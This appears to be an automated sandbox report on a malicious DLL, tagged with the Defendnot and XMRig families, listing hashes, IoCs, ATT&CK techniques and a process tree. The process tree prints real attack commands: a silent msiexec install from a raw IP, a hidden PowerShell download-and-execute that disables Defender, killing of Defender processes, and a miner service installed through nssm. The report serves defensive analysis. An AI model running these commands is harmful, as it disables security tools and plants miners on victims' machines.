defendnot | 10337cbc8d590eddac88b7088cea89f32dda57a69651f7cf99af04f994136ceb

Analysis

max time kernel
148s
max time network
146s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
04/11/2026, 18:10

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
10337cbc8d590eddac88b7088cea89f32dda57a69651f7cf99af04f994136ceb.dll
Size 66KB
Sample261104-wscc9aev4m
SHA256 10337cbc8d590eddac88b7088cea89f32dda57a69651f7cf99af04f994136ceb
MD5 6898991345195dd21df3833407a84709
SHA1 aa852accb28a26768bf508f275d857ed2a071aed
SHA512 3d352021480002d19ade25b7178d8ce57f2234a11eef11bbad87a2807e167a6a8b74c72f2742fc42758df3bda596aad4fe73ba7d047fc4de9676e479bcd0dbc4
SSDEEP 768:KhsKk9pgGD5bLkQTWj6ytg1tg/HatPJC69phklxzHy9a+L611yx1NYVtuli:xKkNtTWOagfg/HyPJdphMxzw9G8yDuA
TLSH
T11C636C8AB683F8A7C01E4531846F036D32F0A18A16C66D371D78A7381D671F2AF5F993
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution defendnot xmrig hacktool miner persistence privilege_escalation

Malware Config

Signatures

Family: Defendnot
Defendnot is a tool designed to disable Microsoft Defender.
hacktool defendnot
Family: xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Detects Defendnot 1 IoCs

resource	yara_rule
behavioral1/files/0x0016000000011d2f-275.dat	family_defendnot

XMRig Miner payload 2 IoCs

miner

resource	yara_rule
behavioral1/files/0x009100000001b591-342.dat	family_xmrig
behavioral1/files/0x009100000001b591-342.dat	xmrig

Badlisted process makes network request 7 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	2660	rundll32.exe
4	3916	msiexec.exe
31	4592	powershell.exe
33	4592	powershell.exe
35	4592	powershell.exe
37	4592	powershell.exe
39	4592	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4592	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\drivers\kvckiller.sys	WinDefCtl.exe

Executes dropped EXE 13 IoCs

pid	Process
3844	MSI538.tmp
680	gaming.exe
4992	gaming.exe
5052	gaming.exe
2720	gaming.exe
5044	gaming.exe
4840	WinDefCtl.exe
3688	GameDriverX64.sys
4288	defendnot-loader.exe
2000	nssm.exe
4688	nssm.exe
1780	nssm.exe
3436	soft.exe

Loads dropped DLL 9 IoCs

pid	Process
680	gaming.exe
680	gaming.exe
680	gaming.exe
5052	gaming.exe
5052	gaming.exe
5052	gaming.exe
2720	gaming.exe
2720	gaming.exe
2720	gaming.exe

Use of msiexec (install) with remote resource 1 IoCs

pid	Process
5052	msiexec.exe

Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
32	raw.githubusercontent.com
33	raw.githubusercontent.com

Enumerates connected drives 3 TTPs 46 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

description	ioc	Process
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\A:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\I:	msiexec.exe
File opened (read-only)	\??\Y:	msiexec.exe
File opened (read-only)	\??\K:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\O:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\P:	msiexec.exe
File opened (read-only)	\??\R:	msiexec.exe
File opened (read-only)	\??\L:	msiexec.exe
File opened (read-only)	\??\M:	msiexec.exe
File opened (read-only)	\??\U:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\S:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\B:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\Z:	msiexec.exe
File opened (read-only)	\??\E:	msiexec.exe
File opened (read-only)	\??\H:	msiexec.exe
File opened (read-only)	\??\Q:	msiexec.exe
File opened (read-only)	\??\V:	msiexec.exe
File opened (read-only)	\??\X:	msiexec.exe
File opened (read-only)	\??\G:	msiexec.exe
File opened (read-only)	\??\J:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe
File opened (read-only)	\??\T:	msiexec.exe
File opened (read-only)	\??\W:	msiexec.exe
File opened (read-only)	\??\N:	msiexec.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\windows\system32\WinDefCtl.exe	MSI538.tmp

Drops file in Program Files directory 10 IoCs

description	ioc	Process
File created	C:\Program Files\defendnot\defendnot-loader.pdb	powershell.exe
File opened for modification	C:\Program Files\defendnot\defendnot.pdb	powershell.exe
File created	C:\Program Files\defendnot\defendnot.dll	powershell.exe
File created	C:\Program Files\defendnot\defendnot-loader.exe	powershell.exe
File opened for modification	C:\Program Files\defendnot\defendnot-loader.pdb	powershell.exe
File created	C:\Program Files\defendnot\defendnot.pdb	powershell.exe
File created	C:\Program Files\defendnot\extra-strip.bat	powershell.exe
File opened for modification	C:\Program Files\defendnot\extra-strip.bat	powershell.exe
File opened for modification	C:\Program Files\defendnot\defendnot.dll	powershell.exe
File opened for modification	C:\Program Files\defendnot\defendnot-loader.exe	powershell.exe

Drops file in Windows directory 20 IoCs

description	ioc	Process
File created	C:\Windows\Installer\inprogressinstallinfo.ipi	msiexec.exe
File created	C:\Windows\GameDriverX64.sys	MSI538.tmp
File opened for modification	C:\windows\QmGUI.dll	gaming.exe
File opened for modification	C:\windows\gameuirender.dll	gaming.exe
File opened for modification	C:\Windows\Installer\MSI219.tmp	msiexec.exe
File opened for modification	C:\Windows\Installer\MSI538.tmp	msiexec.exe
File opened for modification	C:\windows\QmGUI.dll	gaming.exe
File opened for modification	C:\Windows\Installer\MSI49B.tmp	msiexec.exe
File created	C:\windows\QmGUI4.dll	gaming.exe
File created	C:\windows\gameuirender.dll	gaming.exe
File opened for modification	C:\windows\QmGUI4.dll	gaming.exe
File opened for modification	C:\windows\QmGUI4.dll	gaming.exe
File created	C:\windows\QmGUI4.dll	gaming.exe
File opened for modification	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log	msiexec.exe
File opened for modification	C:\Windows\Installer\	msiexec.exe
File created	C:\Windows\gaming.exe	MSI538.tmp
File created	C:\windows\QmGUI4.dll	gaming.exe
File opened for modification	C:\windows\QmGUI4.dll	gaming.exe
File created	C:\windows\QmGUI.dll	gaming.exe
File opened for modification	C:\windows\gameuirender.dll	gaming.exe

Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs

persistence privilege_escalation

Installer Packages

T1546.016

Msiexec

T1218.007

pid	Process
5052	msiexec.exe

Executes a command shell one-liner 1 TTPs 3 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4384	cmd.exe
4800	cmd.exe
4004	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	soft.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	soft.exe

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MsiExec.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
3916	msiexec.exe
3916	msiexec.exe
3844	MSI538.tmp
3844	MSI538.tmp
4592	powershell.exe
4592	powershell.exe
3844	MSI538.tmp
3844	MSI538.tmp

Suspicious behavior: LoadsDriver 3 IoCs

pid	Process
656	Process not Found
656	Process not Found
656	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	5052	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5052	msiexec.exe
Token: SeSecurityPrivilege	3916	msiexec.exe
Token: SeCreateTokenPrivilege	5052	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	5052	msiexec.exe
Token: SeLockMemoryPrivilege	5052	msiexec.exe
Token: SeIncreaseQuotaPrivilege	5052	msiexec.exe
Token: SeMachineAccountPrivilege	5052	msiexec.exe
Token: SeTcbPrivilege	5052	msiexec.exe
Token: SeSecurityPrivilege	5052	msiexec.exe
Token: SeTakeOwnershipPrivilege	5052	msiexec.exe
Token: SeLoadDriverPrivilege	5052	msiexec.exe
Token: SeSystemProfilePrivilege	5052	msiexec.exe
Token: SeSystemtimePrivilege	5052	msiexec.exe
Token: SeProfSingleProcessPrivilege	5052	msiexec.exe
Token: SeIncBasePriorityPrivilege	5052	msiexec.exe
Token: SeCreatePagefilePrivilege	5052	msiexec.exe
Token: SeCreatePermanentPrivilege	5052	msiexec.exe
Token: SeBackupPrivilege	5052	msiexec.exe
Token: SeRestorePrivilege	5052	msiexec.exe
Token: SeShutdownPrivilege	5052	msiexec.exe
Token: SeDebugPrivilege	5052	msiexec.exe
Token: SeAuditPrivilege	5052	msiexec.exe
Token: SeSystemEnvironmentPrivilege	5052	msiexec.exe
Token: SeChangeNotifyPrivilege	5052	msiexec.exe
Token: SeRemoteShutdownPrivilege	5052	msiexec.exe
Token: SeUndockPrivilege	5052	msiexec.exe
Token: SeSyncAgentPrivilege	5052	msiexec.exe
Token: SeEnableDelegationPrivilege	5052	msiexec.exe
Token: SeManageVolumePrivilege	5052	msiexec.exe
Token: SeImpersonatePrivilege	5052	msiexec.exe
Token: SeCreateGlobalPrivilege	5052	msiexec.exe
Token: SeRestorePrivilege	3916	msiexec.exe
Token: SeTakeOwnershipPrivilege	3916	msiexec.exe
Token: SeRestorePrivilege	3916	msiexec.exe
Token: SeTakeOwnershipPrivilege	3916	msiexec.exe
Token: SeRestorePrivilege	3916	msiexec.exe
Token: SeTakeOwnershipPrivilege	3916	msiexec.exe
Token: SeRestorePrivilege	3916	msiexec.exe
Token: SeTakeOwnershipPrivilege	3916	msiexec.exe
Token: SeRestorePrivilege	3916	msiexec.exe
Token: SeTakeOwnershipPrivilege	3916	msiexec.exe
Token: SeRestorePrivilege	3916	msiexec.exe
Token: SeTakeOwnershipPrivilege	3916	msiexec.exe
Token: SeDebugPrivilege	3844	MSI538.tmp
Token: SeAssignPrimaryTokenPrivilege	3844	MSI538.tmp
Token: SeAuditPrivilege	3844	MSI538.tmp
Token: SeBackupPrivilege	3844	MSI538.tmp
Token: SeChangeNotifyPrivilege	3844	MSI538.tmp
Token: SeCreateGlobalPrivilege	3844	MSI538.tmp
Token: SeCreatePagefilePrivilege	3844	MSI538.tmp
Token: SeCreatePermanentPrivilege	3844	MSI538.tmp
Token: 35	3844	MSI538.tmp
Token: SeCreateTokenPrivilege	3844	MSI538.tmp
Token: SeDebugPrivilege	3844	MSI538.tmp
Token: 36	3844	MSI538.tmp
Token: SeEnableDelegationPrivilege	3844	MSI538.tmp
Token: SeImpersonatePrivilege	3844	MSI538.tmp
Token: SeIncBasePriorityPrivilege	3844	MSI538.tmp
Token: SeIncreaseQuotaPrivilege	3844	MSI538.tmp
Token: 33	3844	MSI538.tmp
Token: SeLoadDriverPrivilege	3844	MSI538.tmp
Token: SeLockMemoryPrivilege	3844	MSI538.tmp
Token: SeMachineAccountPrivilege	3844	MSI538.tmp

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
3436	soft.exe

Suspicious use of WriteProcessMemory 16 IoCs

description	pid	Process	procid_target
PID 2660 wrote to memory of 4384	2660	rundll32.exe	84
PID 4384 wrote to memory of 5052	4384	cmd.exe	86
PID 3916 wrote to memory of 3844	3916	msiexec.exe	90
PID 3916 wrote to memory of 4720	3916	msiexec.exe	91
PID 3844 wrote to memory of 680	3844	MSI538.tmp	102
PID 3844 wrote to memory of 4992	3844	MSI538.tmp	104
PID 3844 wrote to memory of 5052	3844	MSI538.tmp	106
PID 3844 wrote to memory of 2720	3844	MSI538.tmp	109
PID 3844 wrote to memory of 5044	3844	MSI538.tmp	111
PID 3844 wrote to memory of 4840	3844	MSI538.tmp	113
PID 3844 wrote to memory of 4592	3844	MSI538.tmp	116
PID 4592 wrote to memory of 4288	4592	powershell.exe	118
PID 4288 wrote to memory of 4004	4288	defendnot-loader.exe	120
PID 3844 wrote to memory of 2000	3844	MSI538.tmp	121
PID 3844 wrote to memory of 4688	3844	MSI538.tmp	123
PID 1780 wrote to memory of 3436	1780	nssm.exe	128

C:\Windows\system32\rundll32.exe
rundll32.exe C:\Users\Admin\AppData\Local\Temp\10337cbc8d590eddac88b7088cea89f32dda57a69651f7cf99af04f994136ceb.dll,#1
1⤵
- Badlisted process makes network request
- Suspicious use of WriteProcessMemory
PID:2660
- C:\Windows\system32\cmd.exe
  cmd.exe /c "msiexec /q /i http://46.151.182.18/8845a.msi"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4384
- - C:\Windows\system32\msiexec.exe
    msiexec /q /i http://46.151.182.18/8845a.msi
    3⤵
    - Use of msiexec (install) with remote resource
    - Enumerates connected drives
    - Event Triggered Execution: Installer Packages
    - Suspicious use of AdjustPrivilegeToken
    PID:5052

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Badlisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3916
- C:\Windows\Installer\MSI538.tmp
  "C:\Windows\Installer\MSI538.tmp"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3844
- - C:\windows\gaming.exe
    gaming.exe -n MpDefenderCoreService.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    PID:680
- - C:\windows\gaming.exe
    gaming.exe -n MpDefenderCoreService.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:4992
- - C:\windows\gaming.exe
    gaming.exe -n msmpeng.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    PID:5052
- - C:\windows\gaming.exe
    gaming.exe -n msmpeng.exe
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Drops file in Windows directory
    PID:2720
- - C:\windows\gaming.exe
    gaming.exe -n NisSrv.exe
    3⤵
    - Executes dropped EXE
    - Drops file in Windows directory
    PID:5044
- - C:\Windows\SYSTEM32\WinDefCtl.exe
    WinDefCtl.exe kill
    3⤵
    - Drops file in Drivers directory
    - Executes dropped EXE
    PID:4840
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; irm https://dnot.sh/ | iex
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops file in Program Files directory
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of WriteProcessMemory
    PID:4592
  - - C:\Program Files\defendnot\defendnot-loader.exe
      "C:\Program Files\defendnot\defendnot-loader.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of WriteProcessMemory
      PID:4288
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /c pause
        5⤵
        Executes a command shell one-liner
        
        PID:4004
- - C:\Windows\Temp\Update-softwaretech\nssm.exe
    nssm.exe install soft "C:\windows\Temp\Update-softwaretech\soft.exe"
    3⤵
    - Executes dropped EXE
    PID:2000
- - C:\Windows\Temp\Update-softwaretech\nssm.exe
    nssm.exe start soft
    3⤵
    - Executes dropped EXE
    PID:4688
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 77663ED2970E729AE91FCD3A7FC84BCB
  2⤵
  - System Location Discovery: System Language Discovery
  PID:4720

C:\Windows\system32\cmd.exe
cmd.exe /c echo nptbdx > \\.\pipe\nptbdx
1⤵
- Executes a command shell one-liner
PID:4800

C:\Windows\GameDriverX64.sys
GameDriverX64.sys
1⤵
- Executes dropped EXE
PID:3688

C:\Windows\Temp\Update-softwaretech\nssm.exe
C:\Windows\Temp\Update-softwaretech\nssm.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:1780
- C:\windows\Temp\Update-softwaretech\soft.exe
  "C:\windows\Temp\Update-softwaretech\soft.exe"
  2⤵
  - Executes dropped EXE
  - Reads the TCP/IP host and domain name from the registry
  - Suspicious use of FindShellTrayWindow
  PID:3436

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e59041f.rbs

Path C:\Config.Msi\e59041f.rbs
Size 546B
SHA256 f0bf24c8d0047bb63542bbafcecf86c48d99419688d197e444e8a082bc6c2732
MD5 f6cc6a018b1f9cbddaf37ab8b2ac3a80
SHA1 c48cc014def7eb9e6eb9e21aef29d235953a6913
SHA512 5260c0377e9dbf4d881a341d67d4084bb5efdfee7399bcc412e09c0868448db8bc9904d858cf22b833bf09a053a5eb09c804a31b3c3334c73bf842585077e572
TLSH
T11EF0974BAB4DC5E0D9C6C03C6B825B6B2A5781328B3B038C9DA042510B828805FBF3C5
MD5 SHA1 SHA512 TLSH

Submit Download

defendnot-loader.exe

Path C:\Program Files\defendnot\defendnot-loader.exe
Size 581KB
SHA256 f57a4dd3bd3ce82eaf6d7143e837b3fa59a0accdac76fd3dc053433efdd50e5e
MD5 aa636642fb9c479c7a9763d18862b12e
SHA1 100d02103379ba284c465933394af8b55a90d0b1
SHA512 b03126a3ff4809511388c787bdf6c65f22306840d8b1887924bc5ac0d1e52571cb832771260decbf6e115386aec8bda0b4434086d2b3f07f47f347f768a6db82
SSDEEP 6144:iQbKLBXMhgqo62sYoFJqiE3Wy13avn7aC8xmph0lhSMXlBXBWnlgh7RB9PCn:/1sriq13UaZxmph0lhSMXli4v9m
TLSH
T14BC49D26B7A940F9E1A7C27889930A16EA737C4643516BCF03E44A675F236E04F3FB11
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

__PSScriptPolicyTest_0xyqegpg.4cj.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0xyqegpg.4cj.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

GameDriverX64.sys

Path C:\Windows\GameDriverX64.sys
Size 56KB
SHA256 9ddae47ff968343a8c32a5344060257fdc08e2a7bdb9a227c8b3a584ee3c9f1e
MD5 8f0577d28c4ff5f71b149f444bfaba8e
SHA1 7556ae58c215b8245a43f764f0676c7a8f0fdd1a
SHA512 26e4bd0d42b8643a32e49f176b14e9c9f40ac30af79dd33016c41afbcd67d9e2ea7802bc6a9419d72870fe10f304cc3c616bd916d2d91637face0c33a5857d26
SSDEEP 1536:CM4RHcydPl0T8sQmSwhi7/3h1JPRMElzK:w8Il0D5i/JPtW
TLSH
T1E543AED29A6410E7DA5B8634C1A9D6177CB0B9470F22C7DF1AE0D9550F233C2A73936A
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI219.tmp

Path C:\Windows\Installer\MSI219.tmp
Size 156KB
SHA256 97217d99040290f7085476306b97e76fcd72d5ed4b369128280a04f789f5fcdb
MD5 a691140cf49c52893de9890c6269b140
SHA1 1ada7178bbf19d11407ee30b1e371a831336d3b2
SHA512 2fdd5f7e87e6903b800e83996c55fb4f4beeb68d78c0c01d2d36148209a9ab118f8a8f5e305e44779e13a57a1d87c8d4768ca46b37689ef35af593dc63f68001
SSDEEP 384:iHpe4ZvJXK7gzFM7WutdWoXgZs+5BCq26yy3M5BCqPN:Zmxa7gBMyuTCDCUyWMDC
TLSH
T1E1F3B7373604A331C14607368A5FD7E48F3AAC574F67112731AAB35D2FB199056B7AE0
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI538.tmp

Path C:\Windows\Installer\MSI538.tmp
Size 124KB
SHA256 b15aac22d2f27607220db480afb9f953939a102f92b2be42e9f1ad291a2b5caf
MD5 706ffb79e4efb6d127527db041ec28e5
SHA1 a8037eff06e6757c5793bd605009e71fe0aaeafd
SHA512 48952f5af2e0b20945e56c9a901aea488c66a07f5e27fd219e942ab948021cf7388a021a23666e5f107a1fee8edefe711e42c0188eef76cd4196d9c764f618b8
SSDEEP 24:ev1GSkiiljEbUlpFlknehtht6dp5bcNXajYedHHhaIyjE6zT1NvPHL+n5p:qkfjNlSnehthEdzcNXandnha91zfz+
TLSH
T1CBC37686B61944F3F6AA0A7FC247CBB526FB772007B2570D0424141A214691BB936F81
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

WinDefCtl.exe

Path C:\Windows\System32\WinDefCtl.exe
Size 379KB
SHA256 b7ca8fd9ebe0a76f16deea315fac7ee94dcb18e6ac2832b5c4cb562fbc6e0ed3
MD5 45a2228e44257169210cc5dc06e12a6c
SHA1 de2df0905ece1a1e7f0a70adf36c75deb06b4e4b
SHA512 bcf69317ffa57ead1ff26834c10a1755517a2aaea3c8780f20416e571c749752f942454b95b34d0ce3cab2ca91fb5c3e472ff7a0ede4ebb727b58824edb6c6bc
SSDEEP 6144:9n/vVpsKlkUnz7bLW8RMtZdyq61P/gDHxkJsFNS+T9U6ST8x5vjA:/p/nzTRM3sF/gDiaNSu
TLSH
T1D7845945F6A404F9E267827CC992C515EA727C214B71E7CB13E08EAB3E236D49E3E711
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

nssm.exe

Path C:\Windows\Temp\Update-softwaretech\nssm.exe
Size 323KB
SHA256 f689ee9af94b00e9e3f0bb072b34caaf207f32dcb4f5782fc9ca351df9a06c97
MD5 beceae2fdc4f7729a93e94ac2ccd78cc
SHA1 47c112c23c7bdf2af24a20bd512f91ff6af76bc6
SHA512 073f5ae0d4ffedb5edb3b92b8e19bea2c482a3ad7ab02ed71955d3e55aa44a297307fe4334d28c6f7683cb02d40b4313e560c9049507b16a8c5d6ee0a0f0071f
SSDEEP 6144:yejl5QCuDlXW4+DiErv2yKU9pclGrDkXNBe:vl5QCKdW4+DiNlXNBe
TLSH
T1F864705163E94664F1F77F30D87906226F377C859E38C24E0250966E2EB2B94EC78B63
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

soft.exe

Path C:\Windows\Temp\Update-softwaretech\soft.exe
Size 6.4MB
SHA256 98ba83a3a3839a4785edba806df6bb8c2a5d0342c764c4fa9b214ca66972b9a3
MD5 1de629910657ff78b4e3308d26398e4f
SHA1 ecc26d0bb6c9156b794d1e4c6826fd979d402813
SHA512 1062713c15a515152377b89349d59f1097b46b63e2a11c2a6362aac46d18e2288246747145fa73a78324a6efe849b262c15db45dddaa795b066a83f053cc6f48
SSDEEP 98304:ZPLTHczrJDR1y/rvUcxbvYmS7Ur9StPGBhjykDXCDWR/Z19q6TPSabKamaMfmFUm:ADW719nTPSPaWmFUtcnT0q
TLSH
T1FA667B15F7F400DCCC6AC93886569513E3B2BC595330AAFF96A476A91F336D10A3EB12
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

gaming.exe

Path C:\Windows\gaming.exe
Size 2.2MB
SHA256 c05bd90e8fe62ebdce1099b658b3f537dc7690051a550d3cf0179b52a6ea74ce
MD5 ba7596415f1586e437ce816f6e836a7b
SHA1 5d079ce3d3b8c779d00fc05b45114ebb2d80c671
SHA512 c86b09e943dfbc0e8cc36c5caa0a515b18e2258a28e46123fe360a0ebe9ca0ecdc9fefb70bd43d6d15386c8cb4ee82dd4001723d38351449e30ce47418677bf8
SSDEEP 24576:V6QgX5E4qenjaJzAAC03mmmlUGCZ9l1tIpAhO8NJ6clMi81s3AvyeaeLL:V1gpE4qKjaJzAAptjVH4yeaeLL
TLSH
T1ACB5FA4369DB0DEAC9D67BB4A1D31335A734FD748B296E3A6A08C2315D536C4AE1FB00
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/680-190-0x00007FF681430000-0x00007FF68155D000-memory.dmp

Download

memory/2720-232-0x00007FF681430000-0x00007FF68155D000-memory.dmp

Download

memory/3436-344-0x0000025EEC950000-0x0000025EEC970000-memory.dmp

Download

memory/3844-21-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-79-0x0000000002460000-0x0000000002492000-memory.dmp

Download

memory/3844-162-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-171-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-141-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-295-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-132-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-98-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-91-0x00000000025A0000-0x000000000261C000-memory.dmp

Download

memory/3844-28-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-154-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-145-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-86-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-331-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-322-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-318-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-254-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-256-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-309-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-305-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-27-0x0000000000710000-0x0000000000756000-memory.dmp

Download

memory/3844-13-0x0000000140000000-0x00000001400052D8-memory.dmp

Download

memory/4592-281-0x00000127455B0000-0x00000127456B2000-memory.dmp

Download

memory/4592-262-0x0000012745370000-0x0000012745382000-memory.dmp

Download

memory/4592-261-0x0000012745340000-0x000001274534A000-memory.dmp

Download

memory/4592-245-0x00000127460D0000-0x00000127465F8000-memory.dmp

Download

memory/4592-244-0x00000127459D0000-0x0000012745B92000-memory.dmp

Download

memory/4592-238-0x00000127451A0000-0x00000127451C2000-memory.dmp

Download

memory/4992-184-0x00007FF681430000-0x00007FF68155D000-memory.dmp

Download

memory/5044-233-0x00007FF681430000-0x00007FF68155D000-memory.dmp

Download

memory/5052-205-0x00007FF681430000-0x00007FF68155D000-memory.dmp

Download